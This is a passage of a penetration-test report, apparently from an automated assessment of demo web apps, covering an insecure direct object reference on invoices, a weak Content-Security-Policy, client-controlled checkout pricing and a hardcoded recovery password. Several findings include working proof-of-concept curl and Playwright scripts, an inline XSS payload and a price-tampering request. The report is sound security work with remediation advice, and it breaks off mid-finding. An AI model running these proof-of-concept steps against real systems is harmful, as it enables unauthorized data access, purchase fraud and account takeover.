Measured with **26 stateless GET requests** in a single differential battery (executed live, XXXXXX):

- **1 of 1** known foreign invoice IDs (`id=3102`) returned another account's invoice — i.e. 100% of the foreign invoice population in the app's 2-invoice ID space (3101, 3102) is reachable cross-account, on the first attempt.
- **4 data items disclosed** per foreign invoice: invoice number/title (`Facture DEMO-2026-002`), account ID (`Compte client : 2`), amount (`Montant : 25.00 €`), and the marker `XXXXXX`.
- **18 of 26** probes (9 nonexistent IDs across boundary values, 9 SQL-shaped payloads) returned an **identical 4225-byte 404** "Facture introuvable" page with zero reflection of the supplied value — the only working defense: no existence oracle beyond valid IDs and no error-based leakage.

- **Documented negative:** all 9 injection-shaped `id` values (boolean `AND/OR`, single- and double-quote contexts, comment suffix) uniformly 404'd — the parameter is strictly numeric-coerced, so this parameter is not a SQLi vector (mirrors finding 98's methodology, negative result).

Affected scope

- **Asset:** XXXXXX app, `XXXXXX` (assets 1392, 1506).
- **Endpoint:** `GET XXXXXX` — parameter `id` (HTML detail page; the REST API counterpart `XXXXXX}` on XXXXXX is finding 100, a distinct entry point).
- **Data:** invoice records keyed by a tiny sequential integer space (3101 = own account 1, 3102 = account 2; 3100/3103/999999 → 404).
- **Prerequisites:** none beyond the anonymous session the app auto-issues (`XXXXXX` cookie, Secure/HttpOnly/SameSite=None) — the flaw requires no credentials by design.

Reproduction steps

1. Bootstrap a session and observe the tenancy boundary the server itself enforces on the listing: `curl -sS -c XXXXXX "XXXXXX"` → page shows `Compte client n° 1 · Une facture disponible.` and a single link, `invoice?id=3101`.
2. With the same cookie jar, request the adjacent ID: `curl -sS -b XXXXXX ".XXXXXX"` → HTTP 200, `Facture DEMO-2026-002`, `Compte client : 2`, `Montant : 25.00 €`, `XXXXXX`.
3. Confirm the boundary shape: `id=3103`, `id=3100`, `id=999999`, `id=abc` all return the identical 404 `Facture introuvable` page (no reflection), so the ID space is cleanly enumerable: exactly 3101 and 3102 exist.

Evidence

Baseline listing for the fresh session (raw file `XXXXXX`):

TECHNICAL EVIDENCE

```
<main><h1>Mes factures<XXXXXX><section class="panel">
<p>Compte client n° 1 · Une facture disponible.<XXXXXX>
<a class="button" href=".XXXXXX">Consulter DEMO-2026-001<XXXXXX>
<XXXXXX><XXXXXX>
```

Cross-account read, `GET XXXXXX` → HTTP 200 (raw file `XXXXXX`, 4356 bytes):

TECHNICAL EVIDENCE

```
<main><h1>Facture DEMO-2026-002<XXXXXX><section class="panel">
<p>Compte client : 2<XXXXXX><p>Montant : 25.00 €<XXXXXX>
<pre>XXXXXX<XXXXXX>
<XXXXXX><XXXXXX>
```

Differential battery results (`XXXXXX`, script `probe_invoice.sh`):

TECHNICAL EVIDENCE

```
[base3101] id=3101    200 4345B :: Compte client : 1|Facture DEMO-2026-001|Montant : 48.00 €
[id3102]   id=3102    200 4356B :: Compte client : 2|Facture DEMO-2026-002|Montant : 25.00 €
```

TECHNICAL EVIDENCE / CONTINUED

```
[id3103]   id=3103    404 4225B :: Facture absente · XXXXXX|Facture introuvable
[id3100]   id=3100    404 4225B :: (identical)
[id999999] id=999999  404 4225B :: (identical)
[id0/idneg/idabc/idmixed/idempty/idnull] 404 4225B :: (identical)
[noid]     (no id)    200 4345B :: defaults to own invoice 3101
[idlead0/idspace/idfloat] 200 :: lenient numeric coercion → 3101
[iddup]    id=3101&id=3102 200 :: last value wins → 3102
[sq_*]     9 SQL-shaped payloads: 404 4225B :: (identical, not injectable)
```

Note on traffic binding: the standalone finding record (ID 120) has **no bound HTTP traffic** (automatic agent binding was off for this run). The evidence above is taken from the raw response files saved during the live run, whose paths are cited; the tenancy differential (listing vs. detail) is fully reproducible with the two curl commands in Reproduction steps.

PoC

The reproduction steps are the PoC; for direct reuse:

TECHNICAL EVIDENCE

```
#!XXXXXX
# XXXXXX XXXXXX IDOR PoC — cross-account invoice read (GET only, stateless)
BASE="XXXXXX"
CJ=$(mktemp)
# 1) session bootstrap + listing: server scopes this anonymous session to "Compte client n° 1"
curl -sS -c "$CJ" "$BASE/invoices" | grep -oE 'Compte client[^<]*|invoice\?id=[0-9]+'
# 2) read the other client's invoice with the SAME session → 200, "Compte client : 2"
curl -sS -b "$CJ" -w '\nHTTP %{http_code}\n' "$BASE/invoice?id=3102" \
  | grep -oE 'Facture DEMO[^<]*|Compte client : [0-9]|Montant : [^<]*|LAB\{[^}]*\}|HTTP [0-9]+'
```

Root cause analysis

`XXXXXX` resolves the record by numeric primary key alone and never compares the record's account to the session's account — despite the session→account mapping being available server-side (the listing and the missing-`id` default both use it). Contributing behaviors observed in the same parameter: lenient numeric coercion (`03101`, `3101`, `3101.0` all resolve to 3101), last-duplicate-wins parsing (`id=3101&id=3102` → 3102), and a sensible default to the own invoice when `id` is absent. The parameter is not injectable (uniform 404s on all quote/boolean payloads). This is the same flaw class as XXXXXX finding 100 (`XXXXXX}` BOLA) but a different application, endpoint, and parameter — reported separately per the dedup rule.

Remediation

1. **Enforce object-level authorization** in the detail handler: resolve the session's account server-side and scope the lookup, e.g. `SELECT ... FROM invoices WHERE id = ? AND account_id = :session_account`; return 404 for foreign IDs.
2. **Keep the uniform 404** (already correct here): identical page and status for "nonexistent" and "not yours" so the endpoint leaks nothing beyond the valid-ID set.
3. **Harden the parser:** reject or canonicalize ambiguous inputs (duplicate `id` params, float/whitespace/leading-zero forms) instead of silently coercing; accept a single canonical integer.

4. **Systemic:** since this is the second CWE-639 instance found across the two same-origin apps (with XXXXXX finding 100 and the XXXXXX bundle findings 103/109), centralize an ownership-check helper (fetch-or-404-with-tenant predicate) and use it at every object-detail sink rather than per-endpoint checks.

TECHNICAL FINDING / F-007

MEDIUM

CSP on both same-origin apps allows inline script execution (script-src 'unsafe-inline', no nonce/hash) — browser-proven non-blocking for stored-HTML injection

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#7	Pending	XXXXXX

Weak Content-Security-Policy on XXXXXX & XXXXXX: `script-src 'unsafe-inline'` permits inline script execution (browser-proven non-blocking for stored-HTML injection)

Finding node: 685 · **Standalone record:** 118 · **Task:** #13 · **Severity:** medium · **Class:** Weak CSP allowing inline script execution (CSP misconfiguration, CWE-79 context) · **Assets:** XXXXXX app (1512), XXXXXX app (1526) · **Proof basis:** executed-live (real headless browser)

Overview

Both same-origin applications on `XXXXXX` — the XXXXXX target app (`XXXXXX`) and the adjacent XXXXXX app (`XXXXXX`) — ship an identical CSP template whose `script-src` is the bare keyword `'unsafe-inline'` (no nonce, no hash, no `strict-dynamic`). In a real browser (Playwright, Chrome Headless Shell 156.0.8078.4) this policy was **proven ineffective as a second layer** against the stored-HTML-injection class on XXXXXX (finding 106): a stored review payload `<img src=x onerror=window.__i671=1>` executed its inline event handler (`window.__i671 === 1`, 1/1 runs) while the CSP blocked only the image's network load — the very block that fired the handler.

Impact

The CSP is the defense-in-depth control that should contain the impact of the stored-HTML injection on `POST XXXXXX` → `GET XXXXXX` (finding 106). It does not: inline event handlers are explicitly permitted by `script-src 'unsafe-inline'`, so any stored markup reaches full in-page script execution. Worse, XXXXXX pages ship **zero first-party `<script>` tags** (`XXXXXX`, `XXXXXX`, `XXXXXX` all verified 0 in HTML and `XXXXXX("script").length === 0` live), meaning **the only script-execution capability on those pages is injected content — and the CSP grants that content full inline-script rights** rather than constraining it.

Blast radius is bounded by other directives in the same policy, which is why severity is **medium, not high**: - `connect-src 'none'` — blocks fetch/XHR exfiltration; - `img-src data:` — blocks image-beacon exfiltration; - `sandbox` without `allow-same-origin` — opaque origin: `XXXXXX`, `localStorage`, `sessionStorage` all threw `SecurityError` in the live run; - no `allow-popups`; `frame-ancestors 'none'` (independently verified as blocking framing); `base-uri 'none'`; `object-src 'none'`; `form-action` pinned to the app base URL. - Residual

channel (static analysis, unexecuted): top-level document navigation (`location = ...`) is not CSP-governed, so a location-based exfil path theoretically remains.

Propagation is additionally bounded by an observed application property: stored reviews are **attempt-scoped** (a fresh anonymous attempt does not render another attempt's review), so cross-victim stored-XSS propagation was not demonstrated; operator/staff rendering could not be verified without credentials.

Measured impact

- **1 of 1** browser runs executed the injected marker: `window.__i671 === 1` (executed-live, headless Chromium 156.0.8078.4, GET-only, cookie-bound context).
- **1 of 1** injected review submissions accepted (POST XXXXXX → 303, ledger `I671-REVIEW-1`), rendered back as **raw, unencoded markup** on the same-attempt `GET XXXXXX`.
- **0** first-party `<script>` tags across all 3 checked XXXXXX pages (`XXXXXX`, `XXXXXX`, `XXXXXX`) — the CSP's script-execution allowance applies exclusively to injected content.
- **1** console CSP violation + **1** `requestfailed` (`err=csp`): the policy blocked the payload's image request (`img-src data:`) — which is precisely the error event that triggered the `onerror` handler. The handler itself was **not** blocked.
- **3 of 3** JS storage/cookie access attempts (`XXXXXX`, `localStorage`, `sessionStorage`) blocked by the opaque-origin sandbox (`SecurityError`) — partial mitigation confirmed.
- XXXXXX: identical CSP template verified via header capture (`XXXXXX_headers.txt`); its inline-script behavior was not separately browser-tested.

Affected scope

- **XXXXXX app** — `XXXXXX` (all pages; verified on `XXXXXX`, `XXXXXX`, `XXXXXX`).
- **XXXXXX app** — `XXXXXX` (identical CSP template).
- **Parameter/entry point coupled to this weakness:** `message` field of `POST XXXXXX` (finding 106) rendered on `GET XXXXXX`.
- **Not affected by *this* finding:** the main public site, which emits **no CSP at all** — that is a separate finding (686, clickjacking/frameability), as is the missing HSTS on all surfaces (684).

Reproduction steps

1. Submit one review with an inline-handler payload (anonymous attempt session; `_csrf` is the per-attempt token from the page): `curl -X POST 'XXXXXX' \ -H 'Cookie: XXXXXX<attempt-cookie>' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode '_csrf=<per-attempt-token>' \ --data-urlencode 'author=I671 Validation' \ --data-urlencode 'message=<img src=x onerror=window.__i671=1>'` → 303 See Other.
2. Fetch the same-attempt page and confirm the payload is stored raw: `curl -s 'XXXXXX' \ -H 'Cookie: XXXXXX<attempt-cookie>' | grep -o '<article class=review>.*<XXXXXX>'` → `<article class=review><strong>I671 Validation<XXXXXX><div><img src=x onerror=window.__i671=1><XXXXXX><XXXXXX>` (no encoding).
3. Load `XXXXXX` in a real browser with the attempt cookie (Playwright script below), then evaluate `window.__i671 === 1`. Observed: `EXECUTED`; browser console shows the CSP blocked only the image load (`img-src data:`), and the `onerror` handler ran anyway.

Evidence

CSP on the live document response (XXXXXX `GET XXXXXX`, captured in-browser and via curl, XXXXXX):

TECHNICAL EVIDENCE

```
Content-Security-Policy: sandbox allow-scripts allow-forms allow-modals allow-downloads; default-src 'none';
script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data:; connect-src 'none'; frame-src 'none';
object-src 'none'; base-uri 'none'; frame-ancestors 'none'; form-action XXXXXX
```

XXXXXX `GET XXXXXX` returns the identical template with `form-action` pinned to the XXXXXX base URL (`XXXXXX_headers.txt`).

Browser run (Playwright XXXXXX Chrome Headless Shell 156.0.8078.4) — key output:

TECHNICAL EVIDENCE

```
{ "result": {
    "marker_i671": "EXECUTED",
    "window_keys_i": "__i671",
    "imgs": [{ "src": "x", "hasOnError": true, "complete": true, "naturalWidth": 0 }],
    "doc_cookie": "ERR:SecurityError",
    "localStorage": "ERR:SecurityError",
    "sessionStorage": "ERR:SecurityError",
    "origin": "XXXXXX",
    "scripts_in_dom": 0,
    "inline_event_handlers": ["IMG:window.__i671=1"] },
  "console": [{ "type": "error",
    "text": "Loading the image 'XXXXXX' violates the following Content Security Policy directive: \"img-src
data:\". The action has been blocked." }],
  "requestfailed": [{ "url": ".XXXXXX", "err": "csp" }] }
```

Interpretation: the CSP **did** act (blocked the `x` image per `img-src data:`), but `script-src 'unsafe-inline'` let the inline `onerror` handler execute — the policy's one intervention is what triggered the payload.

XXXXXX script census: `XXXXXX_index.html: 0`, `XXXXXX_account.html: 0`, `support_body.html: 0` `<script>` tags (curl) and live `XXXXXX("script").length == 0`.

Traffic-evidence note: the standalone finding record has no bound HTTP traffic (binding list empty, version 0) — the requests above were issued with curl/Playwright outside the capture switch. All quoted headers/responses come from the intent-671 work artifacts (`support_headers.txt`, `XXXXXX_headers.txt`, `support_same.html`, `i671_browser_validate.py` output, `BROWSER_VALIDATION_REGISTER.md` in `XXXXXX`).

PoC

The following Playwright script is the exact validation harness used (GET-only, no submission; set the attempt cookie from step 1 of the reproduction):

TECHNICAL EVIDENCE

```
#!XXXXXX python3
"""I671: real-browser validation of stored-HTML-injection marker on XXXXXX XXXXXX"""
import json
from playwright.sync_api import sync_playwright
```

TECHNICAL EVIDENCE / CONTINUED

```
BASE   = 'XXXXXX'
COOKIE = XXXXXX

console_msgs, requests_failed = [], []
with sync_playwright() as p:
    b = XXXXXX(headless=True, args=['--no-sandbox', '--disable-dev-shm-usage'])
    ctx = b.new_context(viewport={'width': 1280, 'height': 900})
    ctx.add_cookies([{'name': 'XXXXXX', 'value': COOKIE, 'domain': 'XXXXXX',
                      'path': 'XXXXXX',
                      'secure': True, 'httpOnly': True, 'sameSite': 'None'}])
    page = ctx.new_page()
    XXXXXX('console', lambda m: console_msgs.append({'type': XXXXXX, 'text': XXXXXX[:300]}))
    XXXXXX('requestfailed', lambda r: requests_failed.append({'url': XXXXXX[-70:], 'err': (XXXXXX or '?')}))
    XXXXXX(BASE, wait_until='load', timeout=30000)
    page.wait_for_timeout(2500)
    print(XXXXXX({
        'marker': XXXXXX('window.__i671 === 1 ? "EXECUTED" : "NOT_EXECUTED"'),
        'scripts_in_dom': XXXXXX('XXXXXX("script").length'),
        'csp': XXXXXX('XXXXXX("meta[http-equiv]") ? "meta" : "header-only"'),
        'console': console_msgs, 'requestfailed': requests_failed}, indent=1))
    XXXXXX()
```

Run: `pip install playwright && playwright install chromium && python3 XXXXXX`. Expected result (as observed live): `"marker": "EXECUTED"`, one console CSP error for `img-src data:`, one `requestfailed` with `err=csp`. For XXXXXX, substitute its base path in `BASE`XXXXXX`path`.

Root cause analysis

The policy was authored with a strict `default-src 'none'` foundation but then re-opened script execution with the `'unsafe-inline'` keyword instead of an integrity-based source list. Because keyword `unsafe-inline` (unlike a nonce/hash) cannot distinguish first-party code from attacker-injected markup, every inline `<script>` and every `on*` attribute — the exact delivery vehicles of stored-HTML injection — is allowed. The aggregation makes the weakness acute on XXXXXX: the pages intentionally ship no scripts at all, so a strict `script-src` (even an empty one) would cost nothing functionally, yet the policy grants full inline-execution rights to the only scripts that can ever appear there (injected ones). This is a control failure of the *defense-in-depth layer*, deliberately reported separately from finding 106 (which is the missing output encoding on review rendering): fixing the encoding alone would leave the CSP unable to contain the next injection-class bug on these apps.

Remediation

1. **XXXXXX (immediate, zero-cost):** the pages contain no scripts — change `script-src 'unsafe-inline'` to `script-src 'none'` (or drop the directive and let `default-src 'none'` govern). This eliminates the entire stored-XSS execution class on XXXXXX regardless of encoding bugs.
2. **XXXXXX (and any future XXXXXX JS):** replace `'unsafe-inline'` with nonce- or hash-based `script-src` (`script-src 'nonce-<random>'` per response, or SHA-256 hashes of static inline code); keep `default-src 'none'` and add `strict-dynamic` if third-party loaders are ever introduced.
3. **Remove inline event handlers** in server-rendered markup: use `addEventListener` in a nonce'd/hashed script instead of `on*` attributes, so `'unsafe-inline'` is not needed for handler execution.
4. **Keep the strong parts of the current policy** (they demonstrably work: `frame-ancestors 'none'` blocked framing in a positive-control test; the sandbox threw `SecurityError` on cookie/storage; `connect-src 'none'` kills fetch exfil) — do not loosen them when retightening `script-src`.

5. **Primary fix reminder:** this finding is the second layer; the first-layer fix (HTML-encode review `message`XXXXXX`author` on output, finding 106) must also be applied. Verify both together: submit a review with `<img src=x onerror=window.__v=1>`, confirm it renders as text, and — if any markup ever becomes legitimate — confirm execution requires a nonce.
6. **Regression check:** add a header test asserting the deployed CSP contains no `'unsafe-inline'` under `script-src`, and a browser smoke test asserting an injected `onerror` handler does not execute.

Duplicate check: distinct root cause from finding 106 (node 654 — missing output encoding of review messages; that finding's "browser-validated execution pending" caveat is hereby resolved by this evidence) and from findings 684 (missing HSTS) and 686 (main-site clickjacking/no CSP). No other reported finding covers CSP `script-src` configuration.

TECHNICAL FINDING / F-010

MEDIUM

Checkout trusts client-supplied unit_price over server-side catalog price (order total fully client-controlled)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#10	Pending	XXXXXX

Checkout trusts client-supplied `unit_price` over the server-side catalog price (order total fully client-controlled)

Overview

`POST XXXXXX` on the XXXXXX app computes the order total from the client-supplied `unit_price` form field without comparing it against the server-side catalog price it demonstrably knows. A 48.00 EUR item (Canvas kit, catalog `unit_price` 4800 cents) was purchased live for a total of **1 cent** (`total_cents: 1`, 1/480 of the real price), and the server recorded the order (`DEMO-2770e91f1f`) and issued its own completion receipt — with no authentication beyond the anonymously auto-issued session and CSRF token.

Impact

- **Revenue manipulation XXXXXX price tampering**: any caller holding a session (issued to anonymous visitors automatically) can set the effective price of any catalog item to any positive integer. Demonstrated: a 48.00 EUR product ordered at 0.01 EUR, order accepted end-to-end with a completion receipt.
- The `unit_price` field is shipped by the application itself as a hidden pre-filled input (`value=4800`) on `XXXXXX` — an editable client-side field treated as authoritative, the classic CWE-602 pattern (client-side enforcement of server-side logic; OWASP API6 XXXXXX business logic).
- **Severity: medium.** Rationale for medium rather than high: the checkout explicitly returns `"payment": "simulation only"`, so a real financial charge was not demonstrable in this environment; the loss is proven within the application's own model (order accepted at an arbitrary price + receipt issued), not as a real-money transaction. Rationale for medium rather than low: the defect is structural — the server *has* the authoritative price (it falls back to the catalog when the client value is unparseable) and deliberately bypasses it for every valid integer, so wiring this flow to real payments would transfer the flaw unchanged.

Measured impact

- **1 of 4 `unit_price` variants was honored end-to-end**: valid integer `1` → response `total_cents: 1` for the 4800-cent item (0.21% of catalog price), with order ID and receipt `PROOF{XXXXXX}`. Executed live, anonymously, XXXXXX.
- **1 of 4 rejected**: `unit_price` negative → `400 {"message":"Check quantity and amount.","ok":false}` — sign/bounds are the *only* checks (per the probe ledger: hard bounds at ≤0 and ≥1e9).

- **2 of 4 fell back to the catalog**: `unit_price=1.5` (float) and a non-numeric string both produced `total_cents: 4800` — proving the server-side authoritative price exists and is used whenever the client value is not a valid integer, and bypassed whenever it is.
- No server-side comparison against `XXXXXX` occurs for valid integer input (0 comparisons observed across the variant matrix).
- Honest bounds on persistence: the checkout response returned the order ID and receipt; `GET XXXXXX` (the separate procurement subsystem) returned `{}` after these submissions, so long-term storage in that ledger was not demonstrated — the checkout order record itself is the evidence of acceptance.
- All submissions were bounded synthetic single attempts (8 checkout posts in the full quantity/sku/price variant matrix); no new checkout submissions were made for this finding beyond the prior accepted probes.

Affected scope

- **Asset**: XXXXXX target app (asset 1572) at `XXXXXX`.
- **Endpoint**: `POST XXXXXX` (form-encoded: `_csrf`, `sku`, `quantity`, `unit_price`).
- **Vulnerable parameter**: `unit_price` (hidden pre-filled field on the `XXXXXX` page, `value=4800`). `quantity` multiplies the client value (`total_cents = unit_price × quantity`); `sku` is consumed as an identifier.
- **Authoritative source not consulted**: `GET XXXXXX<term>` returns the real price (e.g. `{"name":"Canvas kit","unit_price":4800}`).
- **Preconditions**: none beyond the anonymously auto-issued session cookie + per-attempt CSRF token rendered into the checkout form. No account, role, or prior knowledge required.
- **Not affected**: the `XXXXXX` procurement flow (separate state machine, covered by finding 655/656); the total was `4800` for every non-integer `unit_price`, so non-integer tampering has no effect.

Reproduction steps

1. Bootstrap an anonymous session and CSRF token (both issued automatically): `GET XXXXXX` Store the session cookie; extract `_csrf` from the form. Note the hidden field `unit_price` is pre-filled with `4800`.
2. Confirm the server-side authoritative price: `GET XXXXXX → {"name":"Canvas kit","unit_price":4800}`
3. Submit a checkout with a tampered price of 1 cent for the 48.00 EUR item: ``` POST XXXXXX Content-Type: application/x-www-form-urlencoded Cookie:

_csrf=&sku=canvas-kit&quantity=1&unit_price=1 `4. Observe the accepted order:` 200 {"currency":"EUR","order":"DEMO-2770e91f1f","payment":"simulation only", "receipt":"PROOF{XXXXXX}","total_cents":1} `` `5. Optional negative/behavioral controls (observed values): -`unit_price=-1→400 {"message":"Check quantity and amount.","ok":false}`(sign check only). -`unit_price=1.5→200 ... total_cents: 4800`(catalog fallback). -`unit_price=abc→200 ... total_cents: 4800`(catalog fallback). -`unit_price=4800`(honest value) →200 ... total_cents: 4800` (baseline).

Evidence

Catalog baseline (server-side authoritative price, re-verified this session, intent 673):

TECHNICAL EVIDENCE

```
GET XXXXXX
{"name":"Canvas kit","unit_price":4800}
```

Checkout variant matrix (executed live, anonymous, XXXXXX; intent 637 trace, step 17567) — the `unit_price` block:

TECHNICAL EVIDENCE

```
== CHECKOUT unit_price variants ==
[NUM] POST XXXXXX [unit_price=mismatch-1] :: 200 :: {
  "currency": "EUR", "order": "DEMO-2770e91f1f", "payment": "simulation only",
  "receipt": "PROOF{XXXXXX}", "total_cents": 1 }
[NUM] POST XXXXXX [unit_price=negative]   :: 400 :: {"message":"Check quantity and amount.","ok":false}
[NUM] POST XXXXXX [unit_price=float]      :: 200 ::
{"currency":"EUR","order":"DEMO-705c80c22e","payment":"simulation only","total_cents":4800}
[NUM] POST XXXXXX [unit_price=str]        :: 200 ::
{"currency":"EUR","order":"DEMO-cbf0319e1e","payment":"simulation only","total_cents":4800}
```

`XXXXXX` page ships the price as a client-editable hidden field: `<input type="hidden" name="unit_price" value="4800">`. The probe worker's own ledger note (step 17571): "*client-set unit_price honored (price=1 → total 1 cent + receipt marker — noted for planner)*".

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX bash
BASE="XXXXXX"
JAR=$(mktemp)

# 1) anonymous session + CSRF token (auto-issued on any form page)
CSRF=$(curl -s -c "$JAR" "$BASE/checkout" \
  | grep -o 'name="_csrf"[^>]*value="[^"]*"' | head -1 | sed 's/.*value="XXXXXX;s/"$XXXXXX')

# 2) server-side authoritative price for reference (should be 4800)
curl -s -b "$JAR" "$BASE/api/catalog?q=Canvas"; echo

# 3) buy the 48.00 EUR item for 1 cent
curl -s -b "$JAR" -X POST "$BASE/api/checkout" \
  --data-urlencode "_csrf=$CSRF" \
  --data-urlencode "sku=canvas-kit" \
  --data-urlencode "quantity=1" \
  --data-urlencode "unit_price=1"; echo
# expected: {"currency":"EUR","order":"DEMO-...","payment":"simulation only",
#            "receipt":"PROOF{...}","total_cents":1}
```

When no dedicated exploit script is desired, reproduction steps 1–4 above are the PoC.

Root cause analysis

The checkout endpoint treats the client-supplied `unit_price` as the authoritative input for order pricing and computes `total_cents = unit_price × quantity` directly. The server *does* hold and use the authoritative catalog price — it computes `total_cents: 4800` from the catalog whenever the submitted value fails integer parsing (float/string variants) — but performs **no validation or comparison against `XXXXXX` for valid integers**. The only numeric controls are sign/bounds checks (reject ≤0 and ≥1e9 with `400 "Check quantity and amount."`). The price field is shipped to the browser as a hidden form input, so the trust boundary is drawn on the client side (CWE-602, client-side enforcement of server-side logic; OWASP API6 business-logic class, client-controlled price).

Remediation

1. **Remove** `unit_price` **from the trust boundary (primary fix)**: stop accepting it as input. Compute the order server-side as `total = XXXXXX(sku) × quantity` from the catalog record; the client should send only `sku` and `quantity`. Drop the hidden field from `XXXXXX` or keep it purely as display text.
2. If the field must remain for UX reasons, treat it as advisory: ignore it server-side, or reject with a clear error when `submitted_unit_price != XXXXXX` (exact match; no tolerance for a pricing field).
3. Recompute totals at every downstream consumption point (receipt issuance, fulfillment, any future payment integration) from a server-side catalog snapshot — never from data echoed back by the client.
4. Harden adjacent numeric parsing observed in the same endpoint: quantity coercion currently accepts floats/strings/hex with "first-wins" duplicate handling; parse strictly as integers and reject duplicates rather than silently coercing (same validation gap family, CWE-20).
5. Add a regression test that posts `unit_price=1` for a known SKU and asserts the response total equals `catalog_price × quantity` (i.e. 4800, not 1); extend to one tampered value per catalog item in CI.
6. Log orders where the submitted price deviates from the catalog price — after the fix, any such log entry indicates a client or bug attempting price manipulation.

Finding: node 679 XXXXXX record 115, intent 673, severity medium, vulnclass business_logic. Traffic binding: none captured (auto-binding off; evidence is from executed-live command/request probes recorded in the intent 637/673 traces).

TECHNICAL FINDING / F-011

MEDIUM

Account recovery suggests and accepts a fixed hardcoded password, making recovered credentials predictable

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#11	Pending	XXXXXX

Predictable recovered credentials: XXXXXX hardcodes and accepts the fixed default password `New-Synthetic-Password-2026!`

Overview

The XXXXXX account-recovery page (`GET XXXXXX`) server-renders a fixed, hardcoded suggested password — `New-Synthetic-Password-2026!` — as the pre-filled `value=` of the "New password" input in the recovery-completion form (`POST XXXXXX`) **and** of the "Password" input in the sign-in checker form (`POST XXXXXX`). The server accepts this constant unchanged as the account's new credential, and both sign-in paths (`XXXXXX` and `XXXXXX`) then authenticate with it — so the recovered credential is fully derivable from public page HTML with no secret required.

Impact

Any account whose holder completes recovery by accepting the app's zero-effort suggestion (the field arrives pre-filled, so accepting is the default action) ends up with a password that anyone can read out of the same public page — effectively a universal default credential printed by the app itself. An attacker who knows or guesses the username can then authenticate as that user on both sign-in paths; `POST XXXXXX` is the entry to the full protected security chain (transaction → vault), whose second factor is separately bypassable (finding 113 XXXXXX node 676 — same intent, distinct root cause), so a predicted credential alone reaches the protected device-inventory vault. Worst case: silent account takeover of suggestion-accepting users with zero secret material.

Severity: medium (as registered). Rationale: exploitation requires (a) the victim completing recovery with the unchanged suggestion and (b) username knowledge; the demonstrated account is the app's own demo account (`alex`, test-owned mailbox) and the flow is a simulation. Within the application's own model, however, the credential compromise is complete — full sign-in-chain entry on the primary login endpoint.

Measured impact

- **1 of 1** recovery completions submitting the unchanged default were accepted: `{"updated":true,"user":"alex"}` (ledger **I-672-R1**, executed live, attempt `XXXXXX`).
- **2 of 2** sign-in paths accepted the predicted constant: `XXXXXX` → 200 `{"signed_in_as":"alex","simulated":true}` (ledger **I-672-R2**); `XXXXXX` → 200 with `mfa_required`XXXXXX links (full chain entry).

- **0 secrets required**: the constant is rendered twice in page HTML the browser already receives, and it is a stable constant, not per-user/per-attempt — the identical value was recorded by intent 638 (fact 664) and re-observed in attempt XXXXXX.
- **1 of 1** positive control: the pre-recovery password XXXXXX is correctly invalidated after completion (403 `Credentials did not match.`) — the exposure is the predictable *new* credential, not a stale one.
- Limits: demonstrated only on the in-scope demo account `alex` (the only account with a test-owned mailbox); breadth across other users was not measured. Recovery-token issuance itself is sound (fact 674: 3/3 issued tokens distinct, 48-hex, ≈3.71–3.79 bits/char Shannon entropy, no common prefix; single-use and user-bound per fact 657) — token guessing was not needed and not attempted.
- Scoping/reversibility: credential state is attempt-scoped — a fresh session still accepts the original XXXXXX (200), so the test required no cleanup.

Affected scope

- Application: XXXXXX app at XXXXXX (unauthenticated assessment; demo account `alex`).
- Page: `GET XXXXXX — parameter`password`, pre-filled`value=` in **both** forms.
- Endpoints accepting the constant:
- `POST XXXXXX` — sets it as the new password.
- `POST XXXXXX` — authenticates with it.
- `POST XXXXXX` — authenticates with it (primary sign-in path, step-up chain entry).
- The pattern affects any account recovered via the suggestion; verified end-to-end on `alex`.

Reproduction steps

1. Obtain an anonymous session (cookie jar) and its session-bound `_csrf` token (pre-filled as a hidden field on every app form, e.g. on XXXXXX).
2. `POST XXXXXX` with `_csrf` and `user=alex` → 200 `{"accepted":true,"delivery":"simulation mailbox",...}`.
3. `GET XXXXXX` and extract the recovery link/token (48-hex) from the `account/recover?token=XXXXXX href.
4. `GET XXXXXX<T>&user=alex` → 200; observe **both** forms pre-fill `name="password" value="New-Synthetic-Password-2026!"`.
5. `POST XXXXXX` with `_csrf`, `token=<T>`, `user=alex`, `password=XXXXXX **unchanged** → 200`{"updated":true,"user":"alex"}` (single accepted submission; ledger I-672-R1).
6. Consume the predicted credential on both paths (ledger I-672-R2 + chain entry):
7. `POST XXXXXX` {`_csrf`, `user=alex`, `password=XXXXXX} → 200`{"signed_in_as":"alex","simulated":true}`.
8. `POST XXXXXX` {`_csrf`, `user=alex`, `password=XXXXXX} → 200 with`mfa_required`XXXXXX
9. Positive control: `POST XXXXXX` with the old password XXXXXX → 403 `{"message":"Credentials did not match.","ok":false}`.

Evidence

No HTTP exchanges were bound to this finding record (auto-binding off; `get_finding_traffic` version 0, bindings empty). All quotes below are verbatim output of the executing worker's ledger (attempt XXXXXX, intent 672, work#2).

Recover page renders the constant in both forms (GET `XXXXXX → 200):

TECHNICAL EVIDENCE

```
<form method=post action="XXXXXX"><input type=hidden name=_csrf value="XXXXXX"><label>Recovery token<input
name="token" value="XXXXXX"><XXXXXX><label>Account<input name="user" value="alex"><XXXXXX><label>New
password<input name="password" value="New-Synthetic-Password-2026!"><XXXXXX><button type=submit>Update
password<XXXXXX><XXXXXX>
---
<form method=post action="XXXXXX"><input type=hidden name=_csrf value="XXXXXX"><label>Account<input
name="user" value="alex"><XXXXXX><label>Password<input name="password"
value="New-Synthetic-Password-2026!"><XXXXXX><button type=submit>Check sign-in<XXXXXX><XXXXXX>
```

Ledger I-672-R1 XXXXXX I-672-R2 — default accepted as new credential and immediately consumable:

TECHNICAL EVIDENCE

```
== LEDGER I-672-R1: POST XXXXXX (default password UNCHANGED, 1st and only submission) ==
code=200
{
  "updated": true,
  "user": "alex"
}
== LEDGER I-672-R2: POST XXXXXX with the default password (bounded check) ==
code=200
{
  "signed_in_as": "alex",
  "simulated": true
}
```

Second consumption path + old-password positive control (`POST XXXXXX`):

TECHNICAL EVIDENCE

```
== security login with NEW default password =XXXXXX
code=200
{
  "links": {
    "finish": "XXXXXX",
    "vault": "XXXXXX",
    "verify": "XXXXXX" ...
== security login with OLD password XXXXXX (invalidation check) ==
code=403
{
  "message": "Credentials did not match.",
  "ok": false
}
```

Context — token issuance is sound; the weakness is exclusively the fixed default (fact 674, structural check of 3 tokens from `XXXXXX`, no brute force):

TECHNICAL EVIDENCE

```
